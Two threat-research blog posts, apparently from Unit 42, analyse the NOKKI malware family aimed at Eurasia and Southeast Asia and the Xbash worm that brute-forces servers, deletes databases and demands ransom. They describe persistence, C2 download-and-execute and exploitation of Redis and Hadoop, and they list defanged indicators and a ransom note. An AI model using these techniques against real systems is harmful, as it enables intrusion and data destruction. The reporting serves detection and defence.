New KONNI Malware attacking Eurasia and Southeast Asia

Posted on by Josh Grunzweig

Introduction

Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named ‘NOKKI’. The malware in question has ties to a previously reported malware family named KONNI, however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI’s Ns and Ks.

Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI. Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.

The latest activity leveraging the NOKKI payload likely targets politically-motivated victims in Eurasia and possibly Southeast Asia. These attacks leverage compromised legitimate infrastructure for both delivery and command and control (C2). These compromised servers are largely located within South Korea. In total, we observed two waves of attacks spanning from early 2018 to at least July 2018 which we were able to cluster via the specific network protocol used for C2. In addition, the decoy documents themselves wer both created and last modified by an author named zeus. The zeus username is a recurring artifact witnessed in all of the discussed attacks in this report.

 

January 2018 Attack

The earliest observed attack delivering NOKKI took place in January 2018. This attack leverages a Microsoft Windows executable file using a PDF icon in an attempt to trick the victim into launching the file. The malware sample contains the properties seen in Table 1:

MD5 48f031f8120554a5f47259666fd0ee02
SHA1 02ee6302436250e1cee1e75cf452a127b397be8d
SHA256 b8120d5c9c2c889b37aa9e37514a3b4964c6e41296be216b327cdccd2e908311
File Type PE32 executable (GUI) Intel 80386, for MS Windows
PDB String C:\Users\zeus\Documents\Visual Studio 2010\Projects\virus-dropper\Release\virus-dropper.pdb
Compile Timestamp 2018-01-26 00:14:31 UTC
First Encountered 2018-01-26 03:10:12 UTC

Table 1 January NOKKI properties

The malware is capable of collecting information on the victim machine, dropping, and executing a payload, as well as dropping and opening a decoy document.

The malware will collect data from the victim machine and write this information to LOCALAPPDATA%\MicroSoft Updatea\uplog.tmp. The following information is collected from the victim:

  • IP Address
  • Hostname
  • Username
  • Drive Information
  • Operating System Information
  • Installed Programs

This specific function shares significant code overlap with the KONNI tool first discovered by Talos.

The NOKKI payload is written to %LOCALAPPDATA%\MicroSoft Updatea\svServiceUpdate.exe prior being executed in a new process. Persistence is achieved by writing the file path to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svstartup registry key.

After being executed and establishing persistence, NOKKI then connects to  101.129.1[.]104 for C2 communication via FTP. This IP does not have a domain name resolution; however, WHOis shows the IP assigned to China Central Television.

The decoy document is written to the same file path as the initial dropper, however, the extension is renamed to .pdf and becomes a legitimate document.

Based on the decoy document contents and language, the attack may target

Cambodian speakers with an interest in Cambodian political matters.

Figure 1 shows the decoy document used for this sample:

Koni_1

Figure 1 Decoy document for b8120d5c9c2c889b37aa9e37514a3b4964c6e41296be216b327cdccd2e908311

April 2018 Attack

In early April 2018, another attack was observed delivering the NOKKI payload. This attack leveraged a malicious executable with an .scr extension that had the original filename referring to the Russian Ministry of Foreign Affairs and its contents can be found online.

The file contains the properties as seen in Table 2:

MD5 42fbea771f3e0ff04ac0a1d09db2a45e
SHA1 2b6b6f24f58072a02f03fa04deaccce04b6bb43b
SHA256 9bf634ff0bc7c69ffceb75f9773c198944d907ba822c02c44c83e997b88eeabd
File Type PE32 executable (GUI) Intel 80386, for MS Windows
PDB String C:\Users\zeus\Documents\Visual Studio 2010\Projects\virus-dropper\Release\virus-dropper.pdb
Compile Timestamp 2018-04-04 21:06:26 UTC
First Encountered 2018-04-04 12:55:38 UTC

Table 2 April NOKKI Properties

This sample contained the same PDB string within it as sample from January 2018. Functionally, it was nearly identical in its behavior as the previous attack.

Unlike the previously witnessed attack that possibly targeted Cambodian language speakers with an interest in Cambodian political matters, the decoy document used in this attack is written Cyrillic and contains content related to Russian political matters.

Once the .scr file is executed, the NOKKI payload is installed onto the victim host which then connects to the IP resolving to a likely compromised but legitimate South Korean science and technology university website.

Koni_2

Figure 2 Decoy document for 9bf634ff0bc7c69ffceb75f9773c198944d907ba822c02c44c83e997b88eeabd

The content of the decoy document in Figure 2 is a publicly available. Google Translate roughly translates to the following:

About the meeting of the State Secretary - Deputy Minister of Foreign Affairs of Russia GB Karasin and the Director of the Institute of Strategic and Interregional Studies under the President of Uzbekistan, VI Norov

A second sample was discovered in April 2018, also written Cyrillic and containing content related to Russian political matters. This file had the following properties as seen in Table 3:

MD5 88587c43daff30cd3cc0c913a390e9df
SHA1 1cc8ceeef9a2ea4260fae03368a9d07d56e8331b
SHA256 07b90088ec02ef6757f6590a62e2a038ce769914139aff1a26b50399a31dcde9
File Type PE32 executable (GUI) Intel 80386, for MS Windows
PDB String C:\Users\zeus\Documents\Visual Studio 2010\Projects\virus-dropper\Release\virus-dropper.pdb
Compile Timestamp 2018-04-24 16:42:03 UTC
First Encountered  2018-04-24 06:34:35 UTC

 

Table 3 Second April NOKKI Properties

Again, we see consistency both in the embedded PDB string, as well as the functionality of the sample itself. This particular sample connects to an IP address to which a likely legitimate but compromised website of a research institute in South Korea resolves. This server has also likely been compromised and repurposed by the adversary.

 

May 2018 Attack

In May 2018, Unit 42 observed an attack using malware with a filename of briefinglist.exe being downloaded from the somewhat redacted following URL. Again, it is a likely compromised but legitimate South Korean website and the contents written Cyrillic and containing content related to Russian political matters.

http://mail.[removed].co[.]kr/de/de_includes/mail/yandex.ru/download.php

This sample has the following properties as seen in Table 4:

MD5 ae27e617f4197cd30cc09fe784453cd4
SHA1 dc739ca07585eab7394843bc4dba2faca8e5bfe0
SHA256 9b1a21d352ededd057ee3a965907126dd11d13474028a429d91e2349b1f00e10
File Type PE32 executable (GUI) Intel 80386, for MS Windows
PDB String C:\Users\zeus\Documents\Visual Studio 2010\Projects\virus-dropper\Release\virus-dropper.pdb
Compile Timestamp 2018-04-30 17:48:08 UTC

Table 4. Third May NOKKI Properties

This sample remains consistent with previous samples of NOKKI in terms of functionality and the embedded PDB string.

The payload communicates with 145.14.145[.]32, which resolves to files.000webhost[.]com. This same host was witnessed in previously reported KONNI malware activity.

 

July 2018 Attack

In July 2018, a South Korean engineering organization was identified as compromised and hosting malware and C2 infrastructure on their webserver since at least May 2018. Again, a file in Cyrillic with a name referring to the Russian political matters was being distributed from the http://mail.[removed].co[.]kr/common URL.

Unlike attacks leading up to this point, an executable file was not used as the initial malware file. Instead, this attack used a Microsoft Word document leveraging malicious macros to deliver the payload to the victim. Upon opening the file and enabling macros, the document downloaded both the payload and displayed a decoy document referencing political matters.

 

NOKKI Malware Family

From the samples discussed in this blog, we were able to identify two distinct variants of NOKKI. The earlier variant witnessed in attacks between January 2018 to May 2018 made use of FTP for C2 communications. Alternatively, the newer variant witnessed since June 2018 made use of HTTP. While both variants used different network protocols for communication, they both used the same file path structure on the remote C2 server.

The older variant begins by looking for the presence of the following file:

%TEMP%\ID56SD.tmp

If this file does not exist, the malware will generate a random string of 10 upper-case alphabetic characters. This string will ultimately be used as the victim’s identifier. It will also create the %TEMP%\stass file and write the value of a to it.

The malware continues to spawn a new thread that is responsible for network communication. Within an infinite loop, this malware will continue connecting to its C2 server via FTP.

After successful connection to the C2, it will write the previously written stass file to the server’s public_html folder. It will also upload the previously created uplog.tmp file to the remote server. After the upload is completed, NOKKI will then delete the local copy on the infected host. Finally, NOKKI will check for the presence of the [id]-down file on the C2 server, where [id] is the 10 character alphabetic string created prior. Should this file exist, it will be downloaded and written to %TEMP%\svchostav.exe prior to being executed in a new process. After it is executed, the malware deletes the file on the C2 server. The malware will then sleep for 15 minutes between loops.

The newer variant operates in a slightly different manner.

In this case, NOKKI begins by extracting and dropping an embedded DLL to the  %LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll path. One of two DLLs may be dropped, either a 32-bit or a 64-bit compiled options. The appropriate DLL will be dropped based on the victim host’s CPU architecture.

While these DLLs are different architectures, they perform the same functions. After the DLL is written, the malware loads it via the following command-line:

rundll32.exe [%LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll] install

Finally, the malware will write the following registry key to ensure persistence on the victim host:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\qivService - C:\\Windows\\System32\\rundll32.exe "[%LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll]"  install

The payload’s install function makes a call to SetWindowsHookEx with a thread ID of 0, resulting in the function being injected into every GUI process running on the victim machine. This particular process is referenced in this forum post.

The DllMain function of this payload begins by comparing the process executable name, seeking out the explorer.exe process. In the event it is not loaded in the context of this process, nothing occurs. If the malware is running within explorer.exe, it will load its own HTTPStart exported function, which performs the malicious actions.

It begins by writing the ID56SD.tmp file in its current working directory (CWD). A unique randomly chosen 10-byte alphabetic string is written to this file, which will be used as an identifier for the victim. A file named stass is also written in the CWD, with a single byte of a.

The payload proceeds to enter an infinite loop, with a 15 minute delay between iterations. The loop begins by reading in the previously written stass file and uploading it to its embedded C2 server via HTTP.

The data is encoded with base64 and uploaded via a POST parameter of data. Additionally, the victim’s identifier and the current timestamp is uploaded via a POST parameter of subject.

 

Koni_3

Figure 3 HTTP request made by NOKKI payload

After this upload request is made, the malware looks for the presence of a file named uplog.tmp. In the event this file exists, it is uploaded via the same method as previously noted. After this file is uploaded via HTTP, the local file is deleted. While this file is not present originally in this malware sample, in other NOKKI variants, it has been observed containing the victim’s system information.

The malware then looks for the presence of the upfile.tmp file. Again, if this file exists, it is uploaded to the remote server and the local file is deleted.

Finally, the malware will look for the presence of the following remote files, where [id] is the victim identifier:

  • http://mail.[removed].co[.]kr/./pds/down
  • http://mail.[removed].co[.]kr/./pds/data/[id]-down

If the down file is available, it is written to %TEMP%\wirbiry2jsq3454.exe and executed. If the [id]-down file is available, it is written to %TEMP%\weewyesqsf4.exe and executed.

During execution, a remote module was downloaded from the down URL:

This module is responsible for collecting the following information and writing it to the %LOCALAPPDATA%\MicroSoft UpdateServices\uplog.tmp file:

  • IP Address
  • Hostname
  • Username
  • Drive Information
  • Operating System Information
  • Installed Programs

This module acted in an identical way as the information collection function witnessed in the older variant of NOKKI.

 

Comparison to KONNI

The NOKKI malware family differs from KONNI in a number of ways. Unlike KONNI, NOKKI is modular in nature, with multiple steps taken between the initial infection and the final payload(s) being delivered. Early versions of NOKKI observed between January 2018 to May 2018 used a remote FTP server to ultimately accept commands and download additional modules. While newer versions of NOKKI starting in June 2018 use HTTP, the communication is quite different from the previously reported KONNI malware, both in the URI structure and data being sent. In addition, while the KONNI samples used C2 infrastructure set up specifically by the adversary, NOKKI mostly leveraged what appeared to be likely compromised legitimate servers for their infrastructure.

 

NOKKI URIs Previously Reported KONNI URIs
/./pds/data/upload.php /login.php
/./pds/data/[victim_id]-down /upload.php
/./pds/down /download.php
/common/exe /weget/uploadtm.php
/common/doc /weget/upload.php

Table 5. URI differences between NOKKI and KONNI

While we consider these malware families to be separate, we identified some similarities with KONNI. In addition to overlapping infrastructure between KONNI and NOKKI, a NOKKI module used to collect victim information was observed exhibiting very similar characteristics to the KONNI victim information collection function as seen in Figure 4. This same function was also observed in early instances of the dropper used to deploy NOKKI between January 2018 and May 2018.

Koni_4

Figure 4 Similarities between KONNI malware family and NOKKI module

Based on the similarities witnessed, we think it is highly probable there is some amount of code sharing and likely a single adversary group involved.

Conclusion

The adversary operating the NOKKI malware family appears to have begun using NOKKI in January 2018 and has continued their activity through 2018. At this time, we can only speculate who these series of attacks may be attributed to based on tenuous relationships. However, there is significant evidence from our attack telemetry and victimology indicating the operator has a strong interest in specific regions of the world such as Eurasia, the Korean Peninsula, and Southeast Asia. The general tactics used to deliver NOKKI are similar in nature to the actors behind a previously identified malware, KONNI. Additionally, there are overlaps both in code and some infrastructure with previously reported KONNI activity. Unlike KONNI, however, this particular malware family makes use of compromised servers for both hosting and C2 operations.

The NOKKI malware itself has been updated in the short period of time it has been observed, moving from FTP to HTTP for C2 operations. The malware is modular in nature, and based on analysis of the information gathering module, it is highly likely the NOKKI operators are the same as the KONNI operators. Unit 42 will continue to monitor this malware family and the threat actor responsible.

Palo Alto Networks customers are protected by the following:

  • All known samples of NOKKI maintain a malware verdict in WildFire
  • AutoFocus customers may learn more via the NOKKI tag

 

Appendix

Indicators of Compromise

 

July 2018 Attack

Indicator Type Indicator
Hash d92c94423ec3d01ad584a74a38a2e817449648a4da3f12d345c611edc5c4cdbd
Hash dce53e59b0c48e269dadc766a78667a14f11b72c49f57d95abde62c84ac8d7ae
Hash 0657f788e89a437a1e6fe2630c19436736aa55dcf255540698864a7576192611
Hash d211815177ce4b9fd2d3c258d2fc6282c23b8458d71f8f6f0df06a9dda89c12f
Process rundll32.exe [%LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll] install
Registry Key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\qivService
File ID56SD.tmp
File stass
File %LOCALAPPDATA%\MicroSoft UpdateServices\uplog.tmp
File %TEMP%\wirbiry2jsq3454.exe
File %TEMP%\weewyesqsf4.exe
URL hxxp://mail.[removed].co[.]kr/./pds/data/upload.php
URL hxxp://mail.[removed].co[.]kr/./pds/down
URL hxxp://mail.[removed].co[.]kr/./pds/data/[id]-down
URL hxxp://mail.[removed].co[.]kr/common
URL hxxp://mail.[removed].co[.]kr/common/exe
URL hxxp://mail.[removed].co[.]kr/common/doc

 

June 2018 Attack

Indicator Type Indicator
Hash 5137f6a59c2c7a54f1a5fc9a9650972b17d52dd0e203f5abefedf5c593c41ff0
Hash fd673703c502be907919a4ff2922b7b969d96d206abc572a5cb83e69ab32ca18
Hash 4e84f97bb61c2d373a574676fa374131460839ecc7b53064f558ce7ce55528ad
Hash fd673703c502be907919a4ff2922b7b969d96d206abc572a5cb83e69ab32ca18
Hash 74ddd56b1e33aa3752f143a77e5802a5803fd2c222f2cca77bfa5c740dfc8f5e
Process rundll32.exe [%LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll] install
Registry Key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\qivService
File ID56SD.tmp
File stass
File uplog.tmp
File %TEMP%\wirbiry2jsq3454.exe
File %TEMP%\weewyesqsf4.exe
URL hxxp://mail.[removed].co[.]kr/./pds/data/upload.php
URL hxxp://mail.[removed].co[.]kr/./pds/down
URL hxxp://mail.[removed].co[.]kr/./pds/data/[id]-down
URL hxxp://mail.[removed].co[.]kr/common

 

May 2018 Attack

Indicator Type Indicator
Hash 9b1a21d352ededd057ee3a965907126dd11d13474028a429d91e2349b1f00e10
Hash c3172b403068aabc711b7cbe4d923ae1fa705ce11c4cc71271fde83ce751c21c
Folder %LOCALAPPDATA\MicroSoft Update1
File %LOCALAPPDATA\MicroSoft Update1\svServiceUpdate.exe
File %TEMP%\uplog.tmp
File %STARTUP%\Antdule.lnk
File %TEMP%\ID56SD.tmp
File %TEMP%\svchostav.exe
URL hxxp://mail.[removed].co[.]kr/de/de_includes/mail/yandex.ru/download.php

 

April 2018 Attack

Indicator Type Indicator
Hash 07b90088ec02ef6757f6590a62e2a038ce769914139aff1a26b50399a31dcde9
Hash d5fc0ef2d1ed037b5b6389882f9bb4ea15a6b41f21cdc0f5e90752f4e687445c
Folder %LOCALAPPDATA\MicroSoft Update1
File %LOCALAPPDATA\MicroSoft Update1\svServiceUpdate.exe
File %TEMP%\uplog.tmp
File %STARTUP%\Antdule.lnk
File %TEMP%\ID56SD.tmp
File %TEMP%\svchostav.exe
URL hxxp://mail.[removed].co[.]kr/de/de_includes/mail/yandex.ru/download.php
IP Address 210.112.239[.]74

 

Early April 2018 Attack

Indicator Type Indicator
Hash 9bf634ff0bc7c69ffceb75f9773c198944d907ba822c02c44c83e997b88eeabd
Hash c07bea0928a35b9292eebab32563378d01d95434d098e5c7c076e94866a14212
Folder %LOCALAPPDATA\MicroSoft Update1
File %LOCALAPPDATA\MicroSoft Update1\svServiceUpdate.exe
File %TEMP%\uplog.tmp
File %STARTUP%\Antdule.lnk
File %TEMP%\ID56SD.tmp
File %TEMP%\svchostav.exe
URL hxxp://mail.[removed].co[.]kr/de/de_includes/mail/yandex.ru/download.php
IP Address 141.223.125[.]112

 

January 2018 Attack

Indicator Type Indicator
Hash b8120d5c9c2c889b37aa9e37514a3b4964c6e41296be216b327cdccd2e908311
Hash 0d98ca35b29d2a9f7ca6908747c457ebdba999f0e83e182f770848e2335ade5b
Folder %LOCALAPPDATA\MicroSoft Update1
File %LOCALAPPDATA\MicroSoft Update1\svServiceUpdate.exe
File %TEMP%\uplog.tmp
File %STARTUP%\Antdule.lnk
File %TEMP%\ID56SD.tmp
File %TEMP%\svchostav.exe
URL hxxp://mail.[removed].co[.]kr/de/de_includes/mail/yandex.ru/download.php
IP Address 101.129.1[.]104

Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows

Posted on by Claud Xiao

Executive Summary:

Unit 42 researchers have found a new malware family that is targeting Linux and Microsoft Windows servers that we have named XBash. We can tie this malware to the Iron Group, a threat actor group known for ransomware attacks in the past.

Xbash has ransomware and coinmining capabilities.

It also has self-propagating capabilities (meaning it has worm-like characteristics similar to WannaCry or Petya/NotPetya). It also has capabilities not currently implemented that, when implemented, could enable it to spread very quickly within an organizations’ network (again, much like WannaCry or Petya/NotPetya).

Xbash spreads by attacking weak passwords and unpatched vulnerabilities.

Xbash is data-destructive; destroying Linux-based databases as part of its ransomware capabilities. We can also find NO functionality within Xbash that would enable restoration after the ransom is paid.

This means that, like NotPetya, Xbash is data destructive malware posing at ransomware.

Organizations can protect themselves against Xbash by:

  1. Using strong, non-default passwords
  2. Keeping up-to-date on security updates
  3. Implementing endpoint security on Microsoft Windows AND Linux systems
  4. Preventing access to unknown hosts on the internet (to prevent access to command and control servers)
  5. Implementing and maintaining rigorous and effective backup and restoration processes and procedures.

Palo Alto Networks customers are protected against this threat as outlined at the end of this blog.

Below are some more specifics on Xbash’s capabilities:

  • It combines botnet, coinmining, ransomware and self-propagation.
  • It targets Linux-based for its ransomware and botnet capabilities.
  • It targets Microsoft Windows-based systems for its coinmining and self-propagating capabilities.
  • The ransomware component targets and deletes Linux-based databases.
  • To date, we have observed 48 incoming transactions to these wallets with total income of about 0.964 bitcoins meaning 48 victims have paid about US$6,000 total (at the time of this writing).
  • However, as see no evidence that the paid ransoms have resulted in recovery for the victims.
  • In fact, we can find no evidence of any functionality that makes recovery possible through ransom payment.
  • Our analysis shows this is likely the work of the Iron group, a group publicly linked to other ransomware campaigns including those that use the Remote Control System (RCS), whose source code was believed to be stolen from the HackingTeam in 2015.

Research:

Recently Unit 42 used WildFire to identify a new malware family targeting Linux servers. After further investigation we realized it’s a combination of botnet and ransomware that developed by an active cybercrime group Iron (aka Rocke) in this year. We have named this new malware “Xbash”, based on the name of the malicious code’s original main module.

Previously the Iron group developed and spread cryptocurrency miners or cryptocurrency transaction hijacking trojans mainly for Microsoft Windows and only a few for Linux. Instead, Xbash aimed on discovering unprotected services, deleting victim’s MySQL, PostgreSQL and MongoDB databases, and ransom for Bitcoins. Xbash uses three known vulnerabilities in Hadoop, Redis and ActiveMQ for self-propagation or infecting Windows system.

Other new technical characteristics in Xbash that are worth noting:

  • Developed in Python: Xbash was developed using Python and then converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution.
  • Targets IP addresses and Domain Names: Modern Linux malware such as Mirai or Gafgyt usually generate random IP addresses as scanning destinations. By contrast, Xbash fetches from its C2 servers both IP addresses and domain names for service probing and exploiting.
  • Targets Windows and Linux: When exploiting vulnerable Redis service, Xbash will also figure out whether the service is running on Windows or not. If so, it will send malicious JavaScript or VBScript payload for downloading and executing a coinminer for Windows.
  • Intranet Scanning Functionality: The Xbash authors have developed the new capability of scanning for vulnerable servers within enterprise intranet. We see this functionality in the samples but, interestingly, it has not been enabled that we can see.

We have discovered four different versions of Xbash so far. Code and timestamp differences among these versions show that it’s still under active development. The botnet began to operate since as early as May 2018. Thus far, we’ve observed 48 incoming transactions to the Bitcoin wallet addresses used by the malware, which may indicate 48 victims of its ransom behavior.

In the rest of this blog, we will introduce more technical details of these behaviors, and introduce how Palo Alto Networks products prevent the threat.

 

Technical Details

From Python Code to Native Executable

In a previous blog from 2016, Unit 42 revealed a Windows malware being developed by Python and being converted to PE executable by PyInstaller. All four versions of Xbash that we discovered also used this technique. Based on this, we believe the malware authors gain many benefits:

  1. Faster Development: Developing in Python can be easier and faster than in C, C++ or Go: therefore it can enable faster, iterative development which enables the malware’s faster evolution (and can enable faster counter-counter-measures as well).
  2. Easy, Assured Installation: PyInstaller creates self-contained native executables which include all necessary dependencies including Python runtime, libraries,user and third-party libraries. Given the diversity of Linux installations and environments, the attackers cannot be sure that Python-based malware would install and run successfully. By packaging in a self-contained native executable like this, ensures that the malware will successfully install on the target systems.
  3. Anti-Detection Capabilities: PyInstaller’s code compilation, code compression/conversion, and optional code encryption together work to obfuscate the indicators of malicious behavior. This obfuscation helps the malware to defeat detection by antivirus/antimalware engines or static analysis. At the time of this writing, we observed a 1/57 detection rate for Xbash in VirusTotal as shown in Figure 1.
  4. Cross-Platform Malware: PyInstaller supports creating binaries for Windows, Apple macOS and Linux from the same Python code: this enables the malware to be truly cross-platform (though at the time of this writing we have not found any Windows or macOS versions of Xbash).

xbash_1

Figure 1  Detection Rate of Xbash as shown on VirusTotal

Through manual reverse engineering, we were able to extract the main malicious Python modules from the Xbash executables and decompile them successfully. Therefore, in the later sections of this analysis, we show the Python source code.

 

C2 Communication

Xbash hard-coded a bunch of domain names as its C2 servers. It also fetches a webpage hosted on Pastebin (listed in the IOCs) to update the C2 domain list. Some of these C2 domains are reused from previous Windows coinminers attributed to Iron cybercrime group.

All C2 communications were based on HTTP protocol. We found three kinds of C2 traffic:

  1. One for fetching a list of IP addresses or domains for scanning
  2. One for fetching a list of weak passwords, in addition of using hard-coded passwords
  3. One for reporting scan results

Three types of URIs were used to fetch scanning targets:

  1. /domain/phpmyadmin or /domain/all: to get a list of domains for scanning of vulnerable or unprotected web services such as phpMyAdmin.
  2. /port/tcp8080, /port/udp1900, etc.: to get a list of IP addresses for scanning of their specific TCP or UDP port
  3. /cidir, to get a list of CIDR of IP addresses for popular ports/services scanning.

Through a still alive C2 domain, we were able to get 1,000 domains, 1,000 IP addresses, or a /22 CIDR per request, respectively as shown in Figure 2. We found that different requests will return different results, showing that the C2 servers were dynamic dispatching tasks to different bots. We randomly chose some domains and didn’t find any specific region or industry targeted. And, the targeted domains are not in the Alexa top one million domains list.

 

xbash_2

Figure 2  Xbash fetched domains from C2 server for further scanning

Popular Linux botnets such as Mirai and Gafgyt usually only scan IP addresses. Xbash represents a next-stage evolution of Linux botnets by extending the targets to public websites by targeting domains as well as IP address. This also makes deploying a honeypot to observe Xbash challenging since honeypots are usually deployed with IP addresses only. While it may not be an intentional step, the inclusion of domain targeting has an anti-analysis benefit for the attackers.

Besides of fetching a list of scanning targets, Xbash will also request C2 server via URI “/p” to fetch a list of weak passwords for brute forcing.

After Xbash has scanned a target and successfully found specific opening ports, weak credentials or exploitable, unpatched vulnerability, it will report the result to a random C2 server via HTTP POST to URI “/c”.

 

Service Probing and Brute Forcing

If the scanning target is an IP address, Xbash will try to scan many TCP or UDP ports. Here are part of services they’re probing and the ports used:

  • HTTP: 80, 8080, 8888, 8000, 8001, 8088
  • VNC: 5900, 5901, 5902, 5903
  • MySQL: 3306
  • Memcached: 11211
  • MySQL/MariaDB: 3309, 3308,3360 3306, 3307, 9806, 1433
  • FTP: 21
  • Telnet: 23, 2323
  • PostgreSQL: 5432
  • Redis: 6379, 2379
  • ElasticSearch: 9200
  • MongoDB: 27017
  • RDP: 3389
  • UPnP/SSDP: 1900
  • NTP: 123
  • DNS: 53
  • SNMP: 161
  • LDAP: 389
  • Rexec: 512
  • Rlogin: 513
  • Rsh: 514
  • Rsync: 873
  • Oracle database: 1521
  • CouchDB: 5984

For some services, such as VNC, Rsync, MySQL, MariaDB, Memcached, PostgreSQL, MongoDB, and phpMyAdmin, if a related port is open, it will use a built-in weak username/password dictionary and try to login into the service as shown in Figure 3. The dictionary also contains common or default passwords for services like Telnet, FTP, and Redis.

 

xbash_3

Figure 3  Xbash tries to brute force services such as Rsync

Delete Databases and Ransom

If Xbash successfully login into a service including MySQL, MongoDB, and PostgreSQL, it will delete almost all existing databases in the server (except for some databases that stored user login information), create a new database named “PLEASE_READ_ME_XYZ”, and leave a ransom message into table “WARNING” of the new database, as shown in Figure 4 and Figure 5.

Send 0.02 BTC to this address and contact this email with your website or your ip or db_name of your server to recover your database! Your DB is Backed up to our servers!If we not received your payment,we will leak your database

1jqpmcLygJdH8fN7BCk2cwwNBRWqMZqL1

backupsql@pm.me

 

xbash_4

Figure 4  Xbash create ransom message into MySQL database via phpMyAdmin

xbash_5

Figure 5  New database, table and ransome message created by Xbash

If Xbash logged into a phpMyAdmin service, it will do exactly the same operations as above to those databases too, via sending HTTP requests to phpMyAdmin. This is because the phpMyAdmin service is usually managing some MySQL databases.

It’s important to note that, the database name, table name, table schema, and the ransom message used by Xbash are almost identical with some incidents within multiple waves of ransom attacks to MySQL, MongoDB, ElasticSearch, Hadoop, CouchDB, Cassandra, Redis, AWS S3, etc. at 2016 and 2017, which have compromised over 56,685 servers in the globe by report. The only changes in Xbash are:

  • Database name changed from PLEASE_READ_ME to PLEASE_README_XYZ
  • Bitcoins they’re asking for reduced from 0.2 BTC or 0.15 BTC to0.02 BTC
  • Bitcoin wallet address and email address changed
  • This time a blackmail phrase was added into the message: “If we not received your payment,we will leak your database”

Thus far, we have observed three different bitcoin wallet addresses hard-coded in the Xbash samples. Since May 2018, there are 48 incoming transactions to these wallets with total income of about 0.964 bitcoins (about US$6,000 at the time of this writing). Figure 5 shows one of the wallets. Also, note that the funds are being withdrawn, showing us that the attackers are actively collecting their ransom.

xbash_6

Figure 6  Incoming transactions to one of bitcoin wallets

However, as is so often the case, we see no evidence that the attackers are actually making good on their “promise” and helping the victims restore their deleted databases. In fact, contrary to the ransom note, we found NO evidence of code in Xbash that backs up the deleted databases at all.

 

Exploit for Propagation

When Xbash finds a destination has Hadoop, Redis or ActiveMQ running, it will also attempt to exploit the service for self-propagation. Three known vulnerabilities are targeted:

  1. Hadoop YARN ResourceManager unauthenticated command execution, which was first disclosed in October 2016 and has no CVE number assigned.
  2. Redis arbitrary file write and remote command execution, which was first disclosed in October 2015 and has no CVE number assigned. This is shown below in Figure 6.
  3. ActiveMQ arbitrary file write vulnerability, CVE-2016-3088.

xbash_7

Figure 7  Xbash exploiting Redis vulnerability

When the exploit succeeds, Xbash will either directly execute a shell command to download and to run malicious Shell or Python scripts, or create new cron job to do the same, again as shown in Figure 6. The malicious scripts were downloaded from the same C2 servers as Xbash used. In either instance, their main functions are to kill other popular Coinminers, download Coinminers developed by the Iron cybercrime group, and download Xbash itself onto the target system for further propagation.

The net of this is that Xbash targets and uses vulnerable Hadoop, Redis or ActiveMQ systems both to run the attackers’ coinminer AND propagate Xbash within the environment.

 

Infecting Windows Servers

Another notable feature of Xbash is the way it uses Redis and an HTTP service to determine if the vulnerable Redis service is installed on Linux or Microsoft Windows. If the destination being scanned has both vulnerable Redis service and a HTTP service running, Xbash will try to use information leaked by the Redis vulnerability to guess HTTP web server’s installation location. Xbash then uses the location to guess which operating system (Linux or Windows) the destination is running as shown in Figure 7.

xbash_8

Figure 8  Web server paths Xbash used to determine operating system

If it believes it’s found a Windows server, Xbash will exploit the Redis vulnerability to create a Windows startup item (as shown in Figure 6), instead of a Linux cronjob. Depends on Xbash’s version, this new startup item will download a malicious HTML or a Scriptlet file from Xbash’s C2 server, and to execute the JavaScript or VBScript code in the file via “mshta” or via “regsvr32”. These scripts will then invoke PowerShell to download a malicious PE executable or PE DLL file from the same C2 server for execution as shown in Figure 8.

xbash_9

Figure 8  Malicious JavaScript code to be executed in vulnerable Windows server (with comments)

Through our investigation we found that these malicious PE files were coinminer or ransomware developed by the Iron cybercrime group as shown in Figure 9.

xbash_10

Figure 9  AutoFocus associated the malicious PE file with Iron cybercrime group

Targeting Enterprise Intranet

In all versions of Xbash we found, there is a Python class named “LanScan”. Its functions are to get local intranet information, generate a list of all IP addresses within the same subnet, and to perform port scanning to all these IPs as shown in figure 10. It appears that during its evolution, the author was adding more ports to this piece of code. However, the code was inert and unutilized: it is still standalone and yet to be connected with the main part of the code. We believe the author may enable this functionality in coming versions.

xbash_11

Figure 10  Generate list of IP addresses in victim’s subnet and perform port scanning

 

In an enterprise network (including office network and datacenter or private cloud), there are usually more servers providing services internally than to public. And these services are also more likely unprotected or configured with weak password. The chance of find vulnerable services within Intranet is much higher than over Internet. We believe that is the main motivation of Xbash’s Intranet scanning code.  If events like WannaCry and NotPetya are any guide, this intranet functionality could make Xbash even more devastating once it’s enabled.

 

Conclusions

Xbash is a novel and complex Linux malware and the newest work of an active cybercrime group. From its characteristics and behaviors, we could realize many trends in current IoT/Linux security battleground:

  • Attackers are expanding their profit-making ways from mining cryptocurrency to hijacking or ransom for cryptocurrency
  • Attackers are expanding territory by scanning domain names and by attacking enterprise Intranet
  • Attackers are looking for more potential victims by gathering more and more vulnerabilities from everywhere, no matter whether the vulnerability is new or old, and no matter whether it’s famous or not (a CVE number was assigned or not)
  • Attackers are to toward cross-platform attacks and quick evolution
  • Different types of script files are important actors between exploiting and malware execution

Palo Alto Networks customers are protected from this threat:

  • WildFire detected Xbash for Linux as well as the dropped CoinMiner for Windows
  • ELF and PE format malware’s signatures have been released via Antivirus
  • All involved malicious domains have been covered by PAN-DB URL Filtering
  • All three vulnerabilities exploit by Xbash have been covered by Threat Prevention (39786, 39787, 54654, 54655)
  • Xbash C2 traffic have been covered by Threat Prevention too (18474, 18475, 18476)
  • An AutoFocus tag has been created for tracking this attack.

 

Indicators of Compromise

Samples for Linux

7a18c7bdf0c504832c8552766dcfe0ba33dd5493daa3d9dbe9c985c1ce36e5aa  zlibx

